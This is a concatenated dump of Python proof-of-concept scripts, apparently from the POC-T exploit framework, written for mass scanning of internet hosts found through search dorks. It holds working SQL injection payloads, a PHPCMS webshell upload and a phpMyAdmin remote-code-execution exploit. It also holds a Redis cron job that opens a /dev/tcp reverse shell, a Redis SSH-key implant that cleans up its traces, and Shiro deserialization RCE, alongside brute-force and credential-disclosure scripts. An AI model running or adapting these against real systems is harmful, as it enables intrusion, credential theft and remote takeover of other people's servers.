24 | import socket 25 | import re 26 | from plugin.util import host2IP 27 | 28 | 29 | def poc(url): 30 | url = host2IP(url) 31 | port = int(url.split(':')[-1]) if ':' in url else 11211 32 | payload = '\x73\x74\x61\x74\x73\x0a' # command:stats 33 | s = socket.socket() 34 | socket.setdefaulttimeout(10) 35 | try: 36 | host = url.split(':')[0] 37 | s.connect((host, port)) 38 | s.send(payload) 39 | recvdata = s.recv(2048) # response larger than 1024 40 | s.close() 41 | if recvdata and 'STAT version' in recvdata: 42 | ans_str = url 43 | ans_str += ' | version:' + ''.join(re.findall(r'version\s(.*?)\s', recvdata)) 44 | ans_str += ' | total_items:' + ''.join(re.findall(r'total_items\s(\d+)\s', recvdata)) 45 | return ans_str 46 | except Exception, e: 47 | pass 48 | return False 49 | -------------------------------------------------------------------------------- /script/metinfo-504-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | MetInfo 5.0.4 Sql injection PoC 8 | 9 | Usage 10 | python POC-T.py -s metinfo-504-sqli -aZ "Powered by MetInfo 5.0.4" 11 | 12 | """ 13 | 14 | import requests 15 | from plugin.util import randomMD5 16 | from plugin.urlparser import iterate_path 17 | 18 | 19 | def poc(url): 20 | if '://' not in url: 21 | if ':443' in url: 22 | url = 'https://' + url 23 | else: 24 | url = 'http://' + url 25 | plain, cipher = randomMD5() 26 | # 用全部字段验证,增加70%结果 27 | payload = "/about/show.php?lang=en&id=-2864 UNION ALL SELECT " + (("md5(%s)," % plain) * 27).rstrip(',') + '--' 28 | for each in iterate_path(url): # 对每个子路径尝试,增加20%结果 29 | target = each.rstrip('/') + payload 30 | try: 31 | r = requests.get(target, timeout=20) 32 | if r.status_code == 200 and cipher in r.content: 33 | return url 34 | except Exception: 35 | pass # 从break改为pass增加10%结果 36 | return False 37 | -------------------------------------------------------------------------------- /script/mongodb-unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: UTF-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author Double8 5 | 6 | """ 7 | MongodDB未授权访问 8 | 9 | Usage: 10 | python POC-T.py -s mongodb-unauth -aZ "port:27017 country:us" 11 | 12 | """ 13 | 14 | import pymongo 15 | from plugin.util import host2IP 16 | from plugin.util import checkPortTcp 17 | 18 | 19 | def poc(url): 20 | ip = host2IP(url).split(':')[0] 21 | port = 27017 22 | try: 23 | if not checkPortTcp(ip, port): 24 | return False 25 | conn = pymongo.MongoClient(ip, port, socketTimeoutMS=3000) 26 | dbs = conn.database_names() 27 | return ip + ' -> ' + '|'.join(dbs) if dbs else False 28 | except Exception: 29 | return False 30 | -------------------------------------------------------------------------------- /script/navis-webaccess-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Navis WebAccess - SQL Injection (/express/showNotice.do) 8 | 9 | Dork 10 | "Copyright 2016 Navis, A Zebra Technologies Company" 11 | "Confidential Information of Navis, A Zebra Technologies Company" 12 | inurl:GKEY= ext:do 13 | inurl:/express/secure/Today.jsp 14 | navis.com webaccess 15 | 16 | Usage 17 | python POC-T.py -s navis-webaccess-sqli -aG "inurl:GKEY= ext:do" 18 | 19 | """ 20 | 21 | import requests 22 | from plugin.urlparser import iterate_path 23 | 24 | 25 | def poc(url): 26 | if '://' not in url: 27 | if ':443' in url: 28 | url = 'https://' + url 29 | else: 30 | url = 'http://' + url 31 | payload = "/express/showNotice.do?report_type=1&GKEY=2 AND 9753=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(106)||CHR(119)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (9753=9753) THEN 1 ELSE 0 END) FROM DUAL)||CHR(112)||CHR(107)||CHR(107)||CHR(118)||CHR(113)||CHR(62))) FROM DUAL)" 32 | for each in iterate_path(url): 33 | target = each.rstrip('/') + payload 34 | try: 35 | r = requests.get(target, timeout=20) 36 | if 'Warning: invalid QName ":qjwbq1pkkvq"' in r.content: 37 | return url 38 | except Exception: 39 | pass 40 | return False 41 | -------------------------------------------------------------------------------- /script/opensshd-user-enum.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Open SSHD User Enumeration (CVE-2016-6210) 8 | 9 | Usage: 10 | python POC-T -s opensshd-user-enum -aZ "port:22 country:cn" 11 | 12 | """ 13 | 14 | import paramiko 15 | import time 16 | from plugin.util import randomString 17 | 18 | delay = 3 19 | users = ['root', 'Administrator'] # 添加你要猜解的用户名 20 | 21 | 22 | def getResponseTime(user, host): 23 | port = int(host.split(':')[-1]) if ':' in host else 22 24 | host = host.split(':')[0] 25 | 26 | pwd = 'A' * 25000 27 | ssh = paramiko.SSHClient() 28 | starttime = time.clock() 29 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 30 | try: 31 | ssh.connect(host, port=port, username=user, password=pwd) 32 | except Exception, e: 33 | pass 34 | finally: 35 | endtime = time.clock() 36 | total = endtime - starttime 37 | return total 38 | 39 | 40 | def poc(host): 41 | ans = [] 42 | base_time = getResponseTime(randomString(), host) 43 | for user in users: 44 | if getResponseTime(user, host) - base_time > delay: 45 | ans.append(user) 46 | return ans if ans.__len__() else False 47 | -------------------------------------------------------------------------------- /script/phpcms9.6.0-getshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | PHPCMS Unauthenticated Webshell Upload Exploit 8 | 9 | Version: 10 | 9.x <= 9.6.0 11 | 12 | Usage: 13 | 1. Upload `payload.txt` on your own public webserver. 14 | 15 | ```payload.txt 16 | 17 | ``` 18 | 19 | 2. Change `PUBLIC_URL` to your own path like `http://your_host/payload.txt`. 20 | 3. python POC-T.py -s phpcms9.6.0-getshell -aG "Powered by PHPCMS v9" --limit 100 21 | 22 | Reference: 23 | https://www.t00ls.net/viewthread.php?tid=39226&extra=&page=1 24 | 25 | """ 26 | 27 | import requests 28 | from plugin.util import randomString 29 | 30 | PUBLIC_URL = 'http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt' 31 | TIMEOUT = 10 32 | 33 | 34 | def poc(url): 35 | url = url if '://' in url else 'http://' + url 36 | url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php') 37 | data = { 38 | "siteid": "1", 39 | "modelid": "1", 40 | "username": randomString(10), 41 | "password": randomString(10), 42 | "email": "{}@qq.com".format(randomString()), 43 | "info[content]": "".format(PUBLIC_URL), 44 | "dosubmit": "1", 45 | "protocol": "", 46 | } 47 | 48 | target_url = url + "/index.php?m=member&c=index&a=register&siteid=1" 49 | try: 50 | r = requests.post(target_url, data=data, timeout=TIMEOUT) 51 | if "MySQL Error" in r.content and "http" in r.content: 52 | successUrl = r.text[r.text.index("http"):r.text.index(".php")] + ".php" 53 | return successUrl 54 | except Exception: 55 | return False 56 | 57 | return False 58 | -------------------------------------------------------------------------------- /script/phpcms9.6.0-sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | PHPCMS content/down.php SQL Injection 8 | 9 | version 10 | <= 9.6.0 11 | Type 12 | error-based 13 | Usage 14 | python POC-T.py -s phpcms9.6.0-sqli -aG "Powered by PHPCMS v9" --limit 100 15 | 16 | """ 17 | 18 | import requests 19 | import re 20 | from urllib import quote 21 | 22 | TIMEOUT = 3 23 | 24 | 25 | def poc(url): 26 | try: 27 | return __poc(url) 28 | except Exception: 29 | return False 30 | 31 | 32 | def __poc(url): 33 | url = url if '://' in url else 'http://' + url 34 | url = url.split('#')[0].split('?')[0].rstrip('/').rstrip('/index.php') 35 | 36 | # use "*" to bypass filter "safe_replace()" in PHPCMS 37 | payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f=" 38 | 39 | cookies = {} 40 | step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url) 41 | for c in requests.get(step1, timeout=TIMEOUT).cookies: 42 | if c.name[-7:] == '_siteid': 43 | cookie_head = c.name[:6] 44 | cookies[cookie_head + '_userid'] = c.value 45 | cookies[c.name] = c.value 46 | break 47 | else: 48 | return False 49 | 50 | step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload)) 51 | for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies: 52 | if c.name[-9:] == '_att_json': 53 | enc_payload = c.value 54 | break 55 | else: 56 | return False 57 | 58 | setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload 59 | r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT) 60 | result = re.findall('XPATH syntax error: \'(.*?)\'', r.content) 61 | if result[0]: 62 | return "{} - {}".format(url, result[0]) 63 | -------------------------------------------------------------------------------- /script/phpmyadmin-auth-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | 7 | """ 8 | PhpMyAdmin authorized user RCE exploit (CVE-2016-5734) 9 | 10 | Require: 11 | PhpMyAdmin 4.3.0 - 4.6.2 12 | PHP 4.3.0 - 5.4.6 13 | 14 | Please modify the parameters below before use 15 | 16 | """ 17 | 18 | import requests 19 | 20 | # required 21 | USER = 'root' # Valid PhpMyAdmin user 22 | PASS = 'root' # Password for valid PhpMyAdmin user 23 | 24 | # option 25 | COMMAND = '' # PHP command(s) to eval() 26 | DATABASE = '' # Existing database at a server 27 | TABLE = '' # Custom table name for exploit 28 | 29 | 30 | def poc(url): 31 | url_to_pma = url 32 | uname = USER 33 | upass = PASS 34 | 35 | if DATABASE: 36 | db = DATABASE 37 | else: 38 | db = "test" 39 | 40 | custom_table = False 41 | if TABLE: 42 | custom_table = True 43 | table = TABLE 44 | else: 45 | table = "prgpwn" 46 | 47 | if COMMAND: 48 | payload = COMMAND 49 | else: 50 | payload = "system('uname -a');" 51 | 52 | s = requests.Session() 53 | s.verify = False 54 | sql = '''CREATE TABLE `{0}` ( 55 | `first` varchar(10) CHARACTER SET utf8 NOT NULL 56 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 57 | INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500')); 58 | '''.format(table) 59 | 60 | # get_token 61 | resp = s.post(url_to_pma + "/?lang=en", dict( 62 | pma_username=uname, 63 | pma_password=upass 64 | )) 65 | if resp.status_code is 200: 66 | token_place = resp.text.find("token=") + 6 67 | token = resp.text[token_place:token_place + 32] 68 | else: 69 | # print("Cannot get valid authorization token.") 70 | return False 71 | 72 | if custom_table is False: 73 | data = { 74 | "is_js_confirmed": "0", 75 | "db": db, 76 | "token": token, 77 | "pos": "0", 78 | "sql_query": sql, 79 | "sql_delimiter": ";", 80 | "show_query": "0", 81 | "fk_checks": "0", 82 | "SQL": "Go", 83 | "ajax_request": "true", 84 | "ajax_page_request": "true", 85 | } 86 | resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies)) 87 | if resp.status_code == 200: 88 | if "success" in resp.json(): 89 | if resp.json()["success"] is False: 90 | # first = resp.json()["error"][resp.json()["error"].find("") + 6:] 91 | # error = first[:first.find("")] 92 | # if "already exists" in error: 93 | # # print(error) 94 | # pass 95 | # else: 96 | # # print("ERROR: " + error) 97 | # pass 98 | return False 99 | # build exploit 100 | exploit = { 101 | "db": db, 102 | "table": table, 103 | "token": token, 104 | "goto": "sql.php", 105 | "find": "0/e\0", 106 | "replaceWith": payload, 107 | "columnIndex": "0", 108 | "useRegex": "on", 109 | "submit": "Go", 110 | "ajax_request": "true" 111 | } 112 | resp = s.post( 113 | url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies) 114 | ) 115 | if resp.status_code == 200: 116 | result = resp.json()["message"][resp.json()["message"].find("") + 8:] 117 | if len(result): 118 | return url + "result: " + result 119 | else: 120 | return False 121 | -------------------------------------------------------------------------------- /script/redis-cron-getshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | redis getshell expliot (/var/spool/cron reverse shell) 8 | 9 | """ 10 | 11 | import redis 12 | from plugin.util import host2IP 13 | from plugin.util import randomString 14 | 15 | listen_ip = 'x.x.x.x' # your public IP and Port 16 | listen_port = 9999 17 | 18 | 19 | def poc(url): 20 | url = host2IP(url) 21 | ip = url.split(':')[0] 22 | port = int(url.split(':')[-1]) if ':' in url else 6379 23 | try: 24 | r = redis.Redis(host=ip, port=port, db=0, socket_timeout=10) 25 | if 'redis_version' in r.info(): 26 | payload = '\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1\n\n'.format(ip=listen_ip,port=str(listen_port)) 27 | path = '/var/spool/cron' 28 | name = 'root' 29 | key = randomString(10) 30 | r.set(key, payload) 31 | r.config_set('dir', path) 32 | r.config_set('dbfilename', name) 33 | r.save() 34 | r.delete(key) # 清除痕迹 35 | r.config_set('dir', '/tmp') 36 | return True 37 | except Exception: 38 | return False 39 | return False 40 | -------------------------------------------------------------------------------- /script/redis-sshkey-getshell.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | redis getshell expliot (ssh authorized_keys) 8 | 9 | """ 10 | 11 | import redis 12 | import paramiko 13 | from plugin.util import host2IP 14 | from plugin.util import randomString 15 | from plugin.util import checkPortTcp 16 | from paramiko.ssh_exception import SSHException 17 | 18 | public_key = 'ssh-rsa =====' 19 | 20 | private_key = """ 21 | -----BEGIN RSA PRIVATE KEY----- 22 | ===== 23 | -----END RSA PRIVATE KEY----- 24 | """ 25 | 26 | import time 27 | 28 | 29 | def poc(url): 30 | url = host2IP(url) 31 | ip = url.split(':')[0] 32 | port = int(url.split(':')[-1]) if ':' in url else 6379 33 | try: 34 | if not checkPortTcp(ip, 22): 35 | return False 36 | r = redis.Redis(host=ip, port=port, db=0) 37 | if 'redis_version' in r.info(): 38 | key = randomString(10) 39 | r.set(key, '\n\n' + public_key + '\n\n') 40 | r.config_set('dir', '/root/.ssh') 41 | r.config_set('dbfilename', 'authorized_keys') 42 | r.save() 43 | r.delete(key) # 清除痕迹 44 | r.config_set('dir', '/tmp') 45 | time.sleep(5) 46 | if testConnect(ip, 22): 47 | return True 48 | except Exception: 49 | return False 50 | return False 51 | 52 | 53 | def testConnect(ip, port=22): 54 | try: 55 | s = paramiko.SSHClient() 56 | s.load_system_host_keys() 57 | s.connect(ip, port, username='root', pkey=private_key, timeout=10) 58 | s.close() 59 | return True 60 | except Exception, e: 61 | if type(e) == SSHException: 62 | return True 63 | return False 64 | -------------------------------------------------------------------------------- /script/redis-unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | redis未授权访问PoC 8 | (host2IP函数使用场景示例) 9 | 10 | Usage 11 | python POC-T.py -s redis-unauth.py -aZ "port:6379 country:cn" 12 | 13 | """ 14 | 15 | import socket 16 | from plugin.util import host2IP 17 | 18 | 19 | def poc(url): 20 | url = host2IP(url) # 自动判断输入格式,并将URL转为IP 21 | port = int(url.split(':')[-1]) if ':' in url else 6379 # 不指定端口则为默认端口 22 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a' 23 | s = socket.socket() 24 | socket.setdefaulttimeout(10) 25 | try: 26 | host = url.split(':')[0] 27 | s.connect((host, port)) 28 | s.send(payload) 29 | recvdata = s.recv(1024) 30 | s.close() 31 | if recvdata and 'redis_version' in recvdata: 32 | return True 33 | except Exception: 34 | pass 35 | return False 36 | -------------------------------------------------------------------------------- /script/redis-web-probe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | redis getshell expliot (/var/spool/cron reverse shell) 8 | 9 | 检查Redis未授权访问->检查是否存在web服务->检查exp必需的权限和功能->枚举绝对路径->输出结果供手工测试 10 | 11 | """ 12 | 13 | import redis 14 | from plugin.util import host2IP 15 | from plugin.util import randomString 16 | from plugin.util import redirectURL 17 | from plugin.util import checkPortTcp 18 | from plugin.static import ABSPATH_PREFIXES, ABSPATH_SUFFIXES 19 | 20 | 21 | def poc(url): 22 | url = host2IP(url) 23 | ip = url.split(':')[0] 24 | port = int(url.split(':')[-1]) if ':' in url else 6379 25 | 26 | for web_port in [80, 443, 8080, 8443]: # 判断web服务 27 | if checkPortTcp(ip, web_port): 28 | try: 29 | real_url = redirectURL(ip + ':' + str(web_port)) 30 | except Exception: 31 | real_url = ip + ':' + str(web_port) 32 | break # TODO 这里简单化处理,只返回了一个端口的结果 33 | else: 34 | return False 35 | 36 | try: 37 | r = redis.Redis(host=ip, port=port, db=0, socket_timeout=5) 38 | if 'redis_version' not in r.info(): # 判断未授权访问 39 | return False 40 | key = randomString(5) 41 | value = randomString(5) 42 | r.set(key, value) # 判断可写 43 | r.config_set('dir', '/root/') # 判断对/var/www的写入权限(目前先判断为root) 44 | r.config_set('dbfilename', 'dump.rdb') # 判断操作权限 45 | r.delete(key) 46 | r.save() # 判断可导出 47 | except Exception, e: 48 | return False 49 | 50 | # 枚举绝对路径 51 | path_list = [] 52 | for each in ABSPATH_PREFIXES.LINUX: 53 | try: 54 | r.config_set('dir', each.rstrip('/')) 55 | path_list.append(each) 56 | for suffix in ABSPATH_SUFFIXES: 57 | try: 58 | r.config_set('dir', suffix.rstrip('/')) 59 | path_list.append(each.rstrip('/') + '/' + suffix) 60 | except Exception: 61 | continue 62 | except Exception: 63 | continue 64 | 65 | if len(path_list): 66 | return real_url + ' ' + ' '.join(path_list) 67 | else: 68 | return False 69 | -------------------------------------------------------------------------------- /script/resin-doc-traversal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | resin-doc 任意文件读取漏洞 8 | 9 | /resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=C:\Windows\system.ini 10 | 11 | """ 12 | 13 | import requests 14 | from plugin.cloudeye import CloudEye 15 | from plugin.urlparser import iterate_path 16 | 17 | 18 | def poc(url): 19 | url = url if '://' in url else 'http://' + url 20 | print iterate_path(url) 21 | for each in iterate_path(url): 22 | try: 23 | c = CloudEye() 24 | domain = c.getRandomDomain('resin') 25 | payload = '/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://%s' % domain 26 | target = each.rstrip('/') + payload 27 | requests.get(target, timeout=5) 28 | if c.verifyDNS(delay=3): 29 | return each 30 | except Exception: 31 | pass 32 | return False 33 | -------------------------------------------------------------------------------- /script/rsync-weakpass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | rsync 弱口令扫描 (需要版本高于30.0) 8 | 9 | Usage 10 | python POC-T.py -s rsync-weakpass -aS "port:873" 11 | 12 | Result 13 | 127.0.0.1 version:31.0 Module:'share' User/Password:root/toor 14 | 15 | """ 16 | 17 | import socket 18 | import struct 19 | import hashlib 20 | import base64 21 | 22 | USER_LIST = ['root', 'Administrator', 'rsync', 'user', 'test'] 23 | PASS_LIST = ['', 'password', '123456', '12345678', 'qwerty', 'admin123'] 24 | 25 | 26 | def poc(url): 27 | url = url.split('://')[-1] 28 | host = url.split(':')[0] 29 | port = url.split(':')[-1] if ':' in url else 873 30 | res = initialisation(host, port) 31 | 32 | # (True, '@RSYNCD:', ' 31.0', ['share', '@RSYNCD:EXIT']) 33 | if res[0]: 34 | if float(res[2]) < 30.0: # 判断版本,不兼容低版本的登录方式 35 | return False 36 | 37 | msg = '' 38 | for i in range(len(res[3]) - 1): 39 | _msg = ClientCommand(host, port, res[3][i]) 40 | if 'Module:' in _msg: 41 | msg += _msg 42 | return url + ' version:' + res[2].strip() + ' ' + msg if msg else False 43 | else: 44 | return False # exit 45 | 46 | 47 | def initialisation(host, port): 48 | ''' 49 | 初始化并获得版本信息,每次会话前都要发送版本信息 50 | ''' 51 | flag = False 52 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 53 | rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"} 54 | payload = struct.pack("!8s5ss", rsync["MagicHeader"], rsync["HeaderVersion"], "\n") # init 55 | try: 56 | socket.setdefaulttimeout(20) 57 | s.connect((host, port)) 58 | s.send(payload) 59 | data = s.recv(1024) 60 | reply = struct.unpack('!8s5ss', data) 61 | if len(reply) == 3: 62 | flag = True 63 | rsynclist = ClientQuery(s) # 查询模块名 64 | except Exception, e: 65 | pass 66 | finally: 67 | s.close() 68 | if flag: 69 | return True, reply[0], reply[1], rsynclist 70 | return False, 'port not open' 71 | 72 | 73 | def ClientQuery(socket_pre): 74 | ''' 75 | 查询所有的模块名 76 | @return module name 77 | ''' 78 | s = socket_pre 79 | payload = struct.pack("!s", "\n") # query 80 | modulelist = [] 81 | try: 82 | s.send(payload) 83 | while True: 84 | data = s.recv(1024) # Module List lenth 17 85 | moduletemp = struct.unpack("!" + str(len(data)) + "s", data) 86 | modulename = moduletemp[0].replace(" ", "").split("\n") 87 | for i in range(len(modulename)): 88 | realname = modulename[i].split("\t") 89 | if realname[0] != "": 90 | modulelist.append(realname[0]) 91 | if modulename[-2] == "@RSYNCD:EXIT": 92 | break 93 | except Exception, e: 94 | pass 95 | return modulelist 96 | 97 | 98 | def ClientCommand(host, port, cmd): 99 | rsync = {"MagicHeader": "@RSYNCD:", "HeaderVersion": " 30.0"} 100 | payload1 = struct.pack("!8s5ss", rsync["MagicHeader"], rsync["HeaderVersion"], "\n") 101 | payload2 = '%s\n' % cmd 102 | 103 | pass_list = [] 104 | for i in USER_LIST: 105 | pass_list.append((i, i)) 106 | for j in PASS_LIST: 107 | pass_list.append((i, j)) 108 | 109 | for useri, pwdj in pass_list: 110 | try: 111 | user = useri 112 | password = pwdj 113 | # debug("try: %s,%s" %(useri,pwdj)) 114 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 115 | s.connect((host, port)) 116 | # step1 get version and init 117 | s.send(payload1) 118 | s.recv(1024) # server initialisation 119 | # send cmd and generate the challenge code 120 | s.send(payload2) # send client query 121 | data = s.recv(1024) # data @RSYNCD: AUTHREQD 9moobOy1VMjNAU/D4PB35g 122 | challenge = data[18:-1] # get challenge code 123 | # encrypt and generate the payload3 124 | md = hashlib.md5() 125 | md.update(password) 126 | md.update(challenge) 127 | auth_send_data = base64.encodestring(md.digest()) 128 | payload3 = "%s %s\n" % (user, auth_send_data[:-3]) 129 | 130 | s.send(payload3) 131 | data3 = s.recv(1024) # @RSYNCD: OK 132 | s.close() 133 | if 'OK' in data3: 134 | if password == '': 135 | return "Module:'%s' User/Password:%s/" % (cmd, user) 136 | else: 137 | return "Module:'%s' User/Password:%s/%s" % (cmd, user, password) 138 | except Exception, e: 139 | break 140 | return 'brute failed' 141 | -------------------------------------------------------------------------------- /script/samsoftech-admin-bypass.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | SAM Softech Admin Page Bypass 8 | 9 | Usage 10 | python POC-T.py -s samsoftech-admin-bypass -aG "intext:Developed By : SAM Softech" 11 | python POC-T.py -s samsoftech-admin-bypass -aG "Developed By : SAM Softech" 12 | 13 | Payload 14 | Username: ' or '1'='1' -- ' ~ ' or '1'='1' 15 | Password: ' or '1'='1' -- ' ~ ' or '1'='1' 16 | 17 | """ 18 | 19 | import requests 20 | from plugin.urlparser import iterate_path 21 | 22 | 23 | def poc(url): 24 | if '://' not in url: 25 | url = 'http://' + url 26 | payload = "' or '1'='1' -- ' ~ ' or '1'='1'" 27 | data = {'userid': payload, 'userpass': payload, 'submit': 'Enter'} 28 | for each in iterate_path(url): 29 | if '?' in each: 30 | continue 31 | target = each.rstrip('/') + '/myadmin/admin_validation.php' 32 | try: 33 | r = requests.post(target, data=data, timeout=15) 34 | if 'form name="frmNextstep"' in r.content: 35 | return target 36 | except Exception: 37 | pass 38 | return False 39 | -------------------------------------------------------------------------------- /script/shiro-deserial-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Apache Shiro 反序列化 远程命令执行 8 | 9 | python POC-T.py -s shiro-deserial-rce -iS 127.0.0.1:8080 10 | 11 | """ 12 | 13 | import os 14 | import re 15 | import base64 16 | import uuid 17 | import subprocess 18 | import requests 19 | from Crypto.Cipher import AES 20 | from plugin.cloudeye import CloudEye 21 | 22 | JAR_FILE = '/home/xy/exps/ysoserial/target/ysoserial-0.0.5-SNAPSHOT-all.jar' 23 | 24 | 25 | def poc(url): 26 | if '://' not in url: 27 | target = 'https://%s' % url if ':443' in url else 'http://%s' % url 28 | else: 29 | target = url 30 | try: 31 | cloudeye = CloudEye() 32 | domain = cloudeye.getRandomDomain('shiro') # 设置dns特征域名组 33 | rce_command = 'ping -n 3 %s || ping -c 3 %s' % (domain, domain) # 目标机执行的代码 34 | payload = generator(rce_command, JAR_FILE) # 生成payload 35 | requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求 36 | 37 | dnslog = cloudeye.getDnsRecord(delay=2) 38 | if domain in dnslog: 39 | msg = url 40 | for each in re.findall(r'client (.*)#', dnslog): # 获取出口ip 41 | msg += ' - ' + each 42 | return msg 43 | 44 | except Exception, e: 45 | pass 46 | return False 47 | 48 | 49 | def generator(command, fp): 50 | if not os.path.exists(fp): 51 | raise Exception('jar file not found!') 52 | popen = subprocess.Popen(['java', '-jar', fp, 'CommonsCollections2', command], 53 | stdout=subprocess.PIPE) 54 | BS = AES.block_size 55 | pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() 56 | key = "kPH+bIxk5D2deZiIxcaaaA==" 57 | mode = AES.MODE_CBC 58 | iv = uuid.uuid4().bytes 59 | encryptor = AES.new(base64.b64decode(key), mode, iv) 60 | file_body = pad(popen.stdout.read()) 61 | base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) 62 | return base64_ciphertext 63 | -------------------------------------------------------------------------------- /script/siemens-camera-getpwd.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure 8 | 9 | Usage 10 | python POC-T.py -s siemens-camera-getpwd -aZ "SIEMENS IP-Camera" 11 | 12 | version 13 | SIEMENS IP-Camera CCMW1025 x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235 14 | Honeywell IP-Camera HICC-1100PT 15 | 16 | """ 17 | 18 | import requests 19 | from plugin.urlparser import get_domain 20 | 21 | 22 | def poc(url): 23 | if '://' not in url: 24 | url = 'http://' + url 25 | payload = "/cgi-bin/readfile.cgi?query=ADMINID" 26 | target_url = get_domain(url) + payload 27 | try: 28 | r = requests.get(target_url, timeout=10) 29 | if 'var Adm_Pass1' in r.content: 30 | return target_url 31 | except Exception: 32 | pass 33 | return False 34 | -------------------------------------------------------------------------------- /script/solr-unauth.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | Apache Solr 未授权访问PoC 8 | (iterate_path函数使用场景示例) 9 | 10 | Usage 11 | python POC-T.py -s solr-unauth -iF target.txt 12 | python POC-T.py -s solr-unauth -aZ "solr country:cn" 13 | 14 | """ 15 | 16 | import requests 17 | from plugin.useragent import firefox 18 | from plugin.urlparser import iterate_path 19 | 20 | 21 | def poc(target): 22 | base_url = target if "://" in target else 'http://' + target 23 | for each in iterate_path(base_url): 24 | try: 25 | url = each 26 | g = requests.get(url, headers={'User-Agent': firefox()}) 27 | if g.status_code is 200 and 'Solr Admin' in g.content and 'Dashboard' in g.content: 28 | return url 29 | url = url + '/solr/' 30 | g = requests.get(url, headers={'User-Agent': firefox()}) 31 | if g.status_code is 200 and 'Solr Admin' in g.content and 'Dashboard' in g.content: 32 | return url 33 | except Exception: 34 | pass 35 | return False 36 | -------------------------------------------------------------------------------- /script/spider-example.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | # project = https://github.com/Xyntax/POC-T 4 | # author = i@cdxy.me 5 | 6 | """ 7 | bilibili用户签名档爬虫,存入数据库 